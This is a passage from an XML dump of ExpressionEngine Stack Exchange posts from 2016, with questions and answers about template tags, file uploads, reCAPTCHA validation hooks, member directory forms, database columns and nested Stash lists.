value=&quot;2&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;custom_upload&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input type='submit' value='Upload' /&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file upload location is a location with ID 2, which is perfect, but I need to upload the file to a Channel Files field type, not a normal File field type. How do you achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any assistance!&lt;/p&gt;&#xA;" OwnerUserId="2432" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-06-28T07:40:52.913" Title="How do I upload a file from my template to my Channel Files field?" Tags="|safecracker|file-uploads|channel-files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35694" PostTypeId="2" ParentId="35652" CreationDate="2016-02-25T15:11:47.157" Score="2" Body="&lt;p&gt;You'll need to write an extension that uses &lt;a href=&quot;https://solspace.com/expressionengine/freeform/docs/extension_hooks/#freeform_module_validate_begin&quot; rel=&quot;nofollow&quot;&gt;freeform_module_validate_begin&lt;/a&gt; hook. Inside if your extension method you can look for &lt;code&gt;ee()-&amp;gt;input-&amp;gt;post('g-recaptcha-response')&lt;/code&gt;, and if present, &lt;a href=&quot;https://developers.google.com/recaptcha/docs/verify&quot; rel=&quot;nofollow&quot;&gt;validate it via the reCAPTCHA API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it fails, you can add an error to the &lt;code&gt;$errors&lt;/code&gt; array, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$errors[] = 'Sorry, but you failed the test. Are you sure you're human?';&#xA;return $errors;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you can just return the &lt;code&gt;$errors&lt;/code&gt; array is-is.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2016-02-25T15:11:47.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35696" PostTypeId="2" ParentId="35342" CreationDate="2016-02-25T15:50:24.397" Score="1" Body="&lt;p&gt;(Is this the same question  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12083/making-a-directorys-a-b-c-d-etc-links?rq=1&quot;&gt;Making a directory&amp;#39;s A - B - C - D etc. links&lt;/a&gt; ?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same issue, and made a solution that might / might not suit your setup, and post it here. I use Profile:edit to connect Memberfields with a 'peoples channel' and dynamic parameters for searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) New members get accepted by an admin who also fills in a Channel form for member_profiles (= 'the peoples channel'). This form does a few things, but this part extracts the first letter from their last name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_letter&quot; value=&quot;{exp:trunchtml chars=&quot;1&quot;}{member_last_name}{/exp:trunchtml}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) This field 'member_letter' is searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) On my search page I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;artists_lettersEmpty&quot; class=&quot;float-right&quot; method=&quot;post&quot; action=&quot;{path='{segment_1}/{segment_2}/'}&quot;&amp;gt;&#xA;    &amp;lt;input id=&quot;symbol&quot; class=&quot;button tiny callout LastButton&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;&amp;amp;#x21ba;&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;form id=&quot;artists_letters&quot; class=&quot;float-right&quot; method=&quot;post&quot; action=&quot;{path='{segment_1}/{segment_2}/medlem'}&quot;&amp;gt;&#xA;    &amp;lt;input id=&quot;a&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;A&quot;&amp;gt; &amp;lt;input id=&quot;b&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;B&quot;&amp;gt; &amp;lt;input id=&quot;c&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;C&quot;&amp;gt; &amp;lt;input id=&quot;d&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;D&quot;&amp;gt; &amp;lt;input id=&quot;e&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;E&quot;&amp;gt; &amp;lt;input id=&quot;f&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;F&quot;&amp;gt; &amp;lt;input id=&quot;g&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;G&quot;&amp;gt; &amp;lt;input id=&quot;h&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;H&quot;&amp;gt; &amp;lt;input id=&quot;i&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;I&quot;&amp;gt; &amp;lt;input id=&quot;j&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;J&quot;&amp;gt; &amp;lt;input id=&quot;k&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;K&quot;&amp;gt; &amp;lt;input id=&quot;l&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;L&quot;&amp;gt; &amp;lt;input id=&quot;m&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;M&quot;&amp;gt; &amp;lt;input id=&quot;n&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;N&quot;&amp;gt; &amp;lt;input id=&quot;o&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;O&quot;&amp;gt; &amp;lt;input id=&quot;p&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;P&quot;&amp;gt; &amp;lt;input id=&quot;q&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;Q&quot;&amp;gt; &amp;lt;input id=&quot;r&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;R&quot;&amp;gt; &amp;lt;input id=&quot;s&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;S&quot;&amp;gt; &amp;lt;input id=&quot;t&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;T&quot;&amp;gt; &amp;lt;input id=&quot;u&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;U&quot;&amp;gt; &amp;lt;input id=&quot;v&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;V&quot;&amp;gt; &amp;lt;input id=&quot;w&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;W&quot;&amp;gt; &amp;lt;input id=&quot;x&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;X&quot;&amp;gt; &amp;lt;input id=&quot;y&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;Y&quot;&amp;gt; &amp;lt;input id=&quot;z&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;Z&quot;&amp;gt; &amp;lt;input id=&quot;å&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;Å&quot;&amp;gt; &amp;lt;input id=&quot;ä&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;Ä&quot;&amp;gt; &amp;lt;input id=&quot;ö&quot; class=&quot;button tiny letter&quot; name=&quot;search:member_letter&quot; type=&quot;submit&quot; value=&quot;Ö&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) form id=&quot;artists_lettersEmpty&quot; resets the form (by searching without letter)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) form id=&quot;artists_letters&quot; searches after the visitor clicks the button with that letter. As you see, we ae on a Swedish site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5)  Result shows up here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;h4&amp;gt;Resultat:&amp;lt;/h4&amp;gt;&#xA;{exp:channel:entries&#xA;channel=&quot;member_profiles&quot;&#xA;disable=&quot;pagination|category-fields|member-data|relations&quot;&#xA;dynamic_parameters=&quot;search:member_letter&quot;&#xA;orderby=&quot;member_last_name&quot;&#xA;sort=&quot;asc&quot;&#xA;dynamic=&quot;off&quot;}&#xA;{member_first_name} {member_last_name}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2016-02-25T17:02:42.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35697" PostTypeId="1" CreationDate="2016-02-25T15:58:25.923" Score="0" ViewCount="85" Body="&lt;p&gt;I'm using Assets 2.6 on EE 2.10.2 running with Publisher 1.6.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to define Assets fields within Grid fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting Asset Fields work insofar as they open Assets and allow the selection of items. However upon saving the selected items are not stored in the Grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other fields within the Grid work fine, and there are no apparent problems with the rest of the site.  Assets entries stored in Matrix fields are fully accessible / work OK: but need to move to Grid as Matrix not being updated to EE3... :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing a Grid with Assets entries previously saved within (created by external importer) results in the entry being deleted (or not saved).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that has happened elsewhere?  Any ideas what I can do about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-06-13T21:09:09.267" Title="Unable to save Assets entries in Grid" Tags="|assets|grid|publisher|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35698" PostTypeId="2" ParentId="35697" CreationDate="2016-02-25T16:15:14.847" Score="0" Body="&lt;p&gt;I don't offer support through Stack Exchange. But you should try upgrading to the latest version first. Always upgrade before submitting a bug report... the bug may already be fixed.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2016-02-25T16:15:14.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35699" PostTypeId="1" CreationDate="2016-02-25T22:12:54.327" Score="0" ViewCount="116" Body="&lt;p&gt;I have a site with around 800 columns on exp_channel_data table. I would like to know if I can go ahead and optimise the structure of this table by doing the following &#xA;1) changing field from text to a suitable smaller data type like varchar &#xA;2) alter indexes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go ahead and do these changes will expression engine override these changes next time I try to save to dB or save site settings or any such thing. &lt;/p&gt;&#xA;" OwnerUserId="7145" LastActivityDate="2016-06-07T15:59:45.790" Title="Optimising structure of exp_channel_data table" Tags="|database|mysql|channel-fields|index|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35700" PostTypeId="2" ParentId="35688" CreationDate="2016-02-25T22:16:52.297" Score="0" Body="&lt;p&gt;Found it!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{feature_content:total_rows}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would be super useful if this was actually documented anywhere I could find!&lt;/p&gt;&#xA;" OwnerUserId="7140" LastActivityDate="2016-02-25T22:16:52.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35701" PostTypeId="2" ParentId="35699" CreationDate="2016-02-26T00:14:03.377" Score="0" Body="&lt;p&gt;Errr... when you've reached that many columns (therefore, that many fields in field groups, around 400 fields), you probably want to think of a higher-level refactor process. This will be much more fool-proof than manually editing database column types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, the example you gave will give you more space with your total amount of available columns and your database imprint. But that isn't addressing the issue and will likely come back to bite you in the behind. It's also highly manual and will require your intervention in customizing all of those columns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE won't reformat your column types after they are created (after making a new field). So you have no real issue there. You might find EE tries to save something to a modified field it can't handle, resulting in a MySQL error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should really look at the systemic problem: you have way too many custom fields in one site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you describe the situation of this site that is resulting in so many custom fields? We can probably help you better with more information as to how this site reached so many fields.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-02-26T00:14:03.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35702" PostTypeId="2" ParentId="35672" CreationDate="2016-02-26T10:23:17.163" Score="0" Body="&lt;p&gt;The issue turned out to be the status parameter. Several entries with 'closed' status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code that works is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories &#xA;  status=&quot;open&quot; &#xA;  channel=&quot;jobs&quot; &#xA;  show_empty=&quot;no&quot; &#xA;  last_only=&quot;yes&quot;&#xA;  cat_id=&quot;19&quot;&#xA;}&#xA;&#xA;  {cat_name}&#xA;  {embed=&quot;careers/.jobs&quot; cat_id=&quot;{cat_id}&quot;}&#xA;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2016-02-26T10:23:17.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35704" PostTypeId="1" CreationDate="2016-02-26T14:21:03.543" Score="0" ViewCount="63" Body="&lt;p&gt;I've built several sites with EE but I've never had this error. In my last project, if I try to delete an entry (no matter from which channel) I receive a Not Found Page.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Not Found&lt;/p&gt;&#xA;&lt;p&gt;The requested URL /system/index.php was not found on this server.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I notice, however, that the entry is eventually deleted, but I can't give the client a site with this error and tell him to pretend nothing happened.&lt;/p&gt;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="2684" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2016-06-02T07:17:23.983" Title="404 Not Found error when deleting an entry" Tags="|404|delete|error-500|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35705" PostTypeId="1" AcceptedAnswerId="35708" CreationDate="2016-02-26T23:25:25.623" Score="0" ViewCount="112" Body="&lt;p&gt;I have a channel entry for houses in which the user can enter all the details for a house (I simplified the fields for this). For the home page, I am pulling a list of &quot;model homes&quot; that are a multiple relationship field and stashing them for displaying in my template. So I am inside my channel_entries loop for the home page and down a bit in my stash template. Here is my stash segment for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My relationship field in the home page is &lt;code&gt;Relationship Field = {model_homes}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;sv_model_homes&quot; parse_tags=&quot;yes&quot;}&#xA;    {model_homes}&#xA;        {stash:sv_house_url}{model_homes:url_title}{/stash:sv_house_url}&#xA;        {stash:sv_overview}{model_homes:overview}{/stash:sv_overview}&#xA;        {exp:stash:set_list name=&quot;sv_address&quot; parse_tags=&quot;yes&quot;}&#xA;            {model_homes:address}&#xA;                {stash:sv_street}{address:street}{/stash:sv_street}&#xA;                {stash:sv_city}{address:city}{/stash:sv_city}&#xA;                {stash:sv_state}{address:state}{/stash:sv_state}&#xA;                {stash:sv_zip}{address:zip}{/stash:sv_zip}&#xA;            {/model_homes:address}&#xA;        {/exp:stash:set_list}&#xA;        {exp:stash:set_list name=&quot;sv_house_images&quot; parse_tags=&quot;yes&quot;}&#xA;            {model_homes:house_images cover_only=&quot;yes&quot;}&#xA;                {stash:sv_house_image_full}{image:url{/stash:sv_house_image_full}&#xA;                {stash:sv_house_image}{image:url:gallery}{/stash:sv_house_image}&#xA;                {stash:sv_house_title}{image:title}{/stash:sv_house_title}&#xA;            {/model_homes:house_images}&#xA;        {/exp:stash:set_list}&#xA;        {exp:stash:set_list name=&quot;sv_details&quot; parse_tags=&quot;yes&quot;}&#xA;            {model_homes:house_details}&#xA;                {stash:sv_price}{house_details:price}{/stash:sv_price}&#xA;                {stash:sv_bedrooms}{house_details:bedrooms}{/stash:sv_bedrooms}&#xA;                {stash:sv_bathrooms}{house_details:bathrooms}{/stash:sv_bathrooms}&#xA;                {stash:sv_living_rooms}{house_details:living_rooms}{/stash:sv_living_rooms}&#xA;                {stash:sv_dining_rooms}{house_details:dining_rooms}{/stash:sv_dining_rooms}&#xA;                {stash:sv_square_footage}{house_details:square_footage}{/stash:sv_square_footage}&#xA;            {/model_homes:house_details}&#xA;        {/exp:stash:set_list}&#xA;    {/model_homes}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the houses channel fields are the following &lt;code&gt;grid&lt;/code&gt; and &lt;code&gt;channel_images&lt;/code&gt; fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;INSIDE the homes entry are the following fields giving me trouble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GRID - {address}&#xA;&#xA;CHANNEL IMAGES - {house_images}&#xA;&#xA;GRID - {house_details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my &lt;code&gt;{content_home}&lt;/code&gt; template (display) for this content segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            {exp:stash:get_list name='sv_model_homes'}&#xA;&#xA;            &amp;lt;div class=&quot;col-md-4 col-sm-6&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;thumbnail boxed&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;listing-image&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;listing-tag important&quot;&amp;gt;Model Home&amp;lt;/span&amp;gt;&#xA;                        {exp:stash:get_list:nested name='sv_house_images'}&#xA;                        &amp;lt;img src=&quot;{sv_house_image}&quot; alt=&quot;{sv_house_title}&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;image-links&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;left&quot;&amp;gt;&#xA;                                &amp;lt;a class=&quot;inner&quot; href=&quot;{sv_house_image_full}&quot; data-lightbox=&quot;related-1&quot;&amp;gt;&#xA;                                    &amp;lt;i class=&quot;fa fa-camera&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;right&quot;&amp;gt;&#xA;                                &amp;lt;a class=&quot;inner&quot; href=&quot;{site_url}house/{sv_house_url}&quot;&amp;gt;&#xA;                                    &amp;lt;i class=&quot;fa fa-link&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                                &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                        {exp:stash:get_list:nested name='sv_details'}&#xA;                        &amp;lt;div class=&quot;image-tags&quot;&amp;gt;&#xA;                            &amp;lt;ul class=&quot;property-tags&quot;&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;i class=&quot;icon-bed&quot;&amp;gt;&amp;lt;/i&amp;gt; {sv_bedrooms}&amp;lt;br&amp;gt;&amp;lt;span class=&quot;small&quot;&amp;gt;Bedrooms&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;span&amp;gt;&amp;lt;i class=&quot;icon-shower&quot;&amp;gt;&amp;lt;/i&amp;gt; {sv_bathrooms}&amp;lt;br&amp;gt;&amp;lt;span class=&quot;small&quot;&amp;gt;Bathrooms&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;description&quot;&amp;gt;&#xA;                        {exp:stash:get_list:nested name='sv_address'}&#xA;                        &amp;lt;h4&amp;gt;{sv_street}&amp;lt;br&amp;gt;&amp;lt;small&amp;gt;{sv_city}, {sv_state}&amp;lt;/small&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                        {exp:stash:get_list:nested name='sv_details'}&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Property Size:&amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                {sv_square_footage} SqFt&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Rooms:&amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-xs-6&quot;&amp;gt;&#xA;                                {sv_bedrooms} Bed, {sv_bathrooms} Bath&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;hr&amp;gt;&#xA;                                                    &amp;lt;span class=&quot;price-tag&quot;&amp;gt;&#xA;                                                        ${sv_price}&#xA;                                                    &amp;lt;/span&amp;gt;&#xA;                        {/exp:stash:get_list:nested}&#xA;                        &amp;lt;a href=&quot;{site_url}house/{sv_house_url}&quot; class=&quot;btn btn-link &quot; role=&quot;button&quot;&amp;gt;+ Show Details&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            {/exp:stash:get_list}&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I AM getting information, just not the correct information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I test the loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    {exp:stash:get_list name='sv_model_homes'}&#xA;        {sv_house_url} - {count}&amp;lt;br&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the proper &lt;code&gt;{sv_house_url}&lt;/code&gt; and &lt;code&gt;{count}&lt;/code&gt;. It loops through the trhee tests and count 1, 2, 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in my markup for &lt;code&gt;{content_home}&lt;/code&gt;, (above), I just get the first entry. I've tried using the &lt;code&gt;prefix=''&lt;/code&gt;tag, but that didn't change anything for me. (I could have been using it incorrectly too though.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do in order to get the proper data from my stash set_list?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-02-27T20:09:56.650" Title="Trouble getting related entries with grid fields in stash list" Tags="|stash|ee3|loop|list|nested-list|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35706" PostTypeId="2" ParentId="35705" CreationDate="2016-02-27T04:17:39.417" Score="0" Body="&lt;p&gt;I think you may have forgot to nest your nested set_lists? Looks like you're doing it on your nested get_lists, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These set_lists need to be nested.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sv_address &lt;/li&gt;&#xA;&lt;li&gt;sv_house_images&lt;/li&gt;&#xA;&lt;li&gt;sv_details&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not sure but, you may need to use the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#context---string-&quot; rel=&quot;nofollow&quot;&gt;context param&lt;/a&gt; on those nested set_lists and nested get_lists too. Maybe along with the &lt;code&gt;{entry_id}&lt;/code&gt;. And this would come after fixing your nesting so if nesting fixes all your issues then disregard this part.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2016-02-27T04:42:57.480" LastActivityDate="2016-02-27T04:42:57.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35707" PostTypeId="1" CreationDate="2016-02-27T15:18:39.590" Score="1" ViewCount="29" Body="&lt;p&gt;The CP Dashboard from the Forms Module is only visible for de admin. I would like to make it visible for a member group. The member group can access the module but they don't see the dashboard on de CP home page.&lt;/p&gt;&#xA;" OwnerUserId="7150" LastActivityDate="2016-04-08T04:56:57.927" Title="CP dashboard is not visible for users" Tags="|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35708" PostTypeId="2" ParentId="35705" CreationDate="2016-02-27T20:09:56.650" Score="0" Body="&lt;p&gt;First off, thanks for the input @Natetronn. If this is what you were talking about, let me know so I can accept your answer. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the context param before and after rounding out the nesting, but wasn't able to get it functioning properly for this. Even after nesting the lists I was still just capturing a single one of the loop data sets. I think the context parameter is supposed to handle setting and retrieving this way too from what I read, but I wasn't able to get that working. If I am doing this the hard way and context works this way, please let me know so that I can utilize the addon properly.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to achieve my desired results using the following &quot;set_list&quot;. Again, simplified, but I'm including the &lt;code&gt;{channels_entry}&lt;/code&gt; tags to make it more clear for those that may need more info.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;home_page&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;    {exp:stash:sv_title}{title}{/exp:stash:sv_title}&#xA;    {exp:stash:sv_url_title}{url_title}{/exp:stash:sv_url_title}&#xA;    {exp:stash:sv_entry_id}{entry_id}{/exp:stash:sv_entry_id}&#xA;    {exp:stash:sv_entry_date}{entry_date format=&quot;%Y %m %d&quot;}{/exp:stash:sv_entry_date}&#xA;    {exp:stash:sv_edit_date}{edit_date format=&quot;%Y %m %d&quot;}{/exp:stash:sv_edit_date}&#xA;    {exp:stash:set_list name=&quot;slideshow_images&quot; parse_tags=&quot;yes&quot;}&#xA;        {slideshow}&#xA;            {slideshow:slider_images}&#xA;                {stash:sv_slideshow_image}{image:url:slider-optimized}{/stash:sv_slideshow_image}&#xA;                {stash:sv_slideshow_title}{image:title}{/stash:sv_slideshow_title}&#xA;            {/slideshow:slider_images}&#xA;        {/slideshow}&#xA;    {/exp:stash:set_list}&#xA;    {exp:stash:sv_welcome_title}{welcome_title}{/exp:stash:sv_welcome_title}&#xA;    {exp:stash:sv_welcome_greeting}{welcome_greeting}{/exp:stash:sv_welcome_greeting}&#xA;    {exp:stash:set_list name=&quot;sv_model_homes&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;        {model_homes}&#xA;            {stash:sv_house_id}{model_homes:entry_id}{/stash:sv_house_id}&#xA;            {stash:sv_house_url}{model_homes:url_title}{/stash:sv_house_url}&#xA;            {stash:sv_overview}{model_homes:overview}{/stash:sv_overview}&#xA;            {exp:stash:set_list:nested name=&quot;sv_address_{model_homes:entry_id}&quot; context parse_tags=&quot;yes&quot;}&#xA;                {model_homes:address}&#xA;                    {stash:sv_street}{address:street}{/stash:sv_street}&#xA;                    {stash:sv_city}{address:city}{/stash:sv_city}&#xA;                    {stash:sv_state}{address:state}{/stash:sv_state}&#xA;                    {stash:sv_zip}{address:zip}{/stash:sv_zip}&#xA;                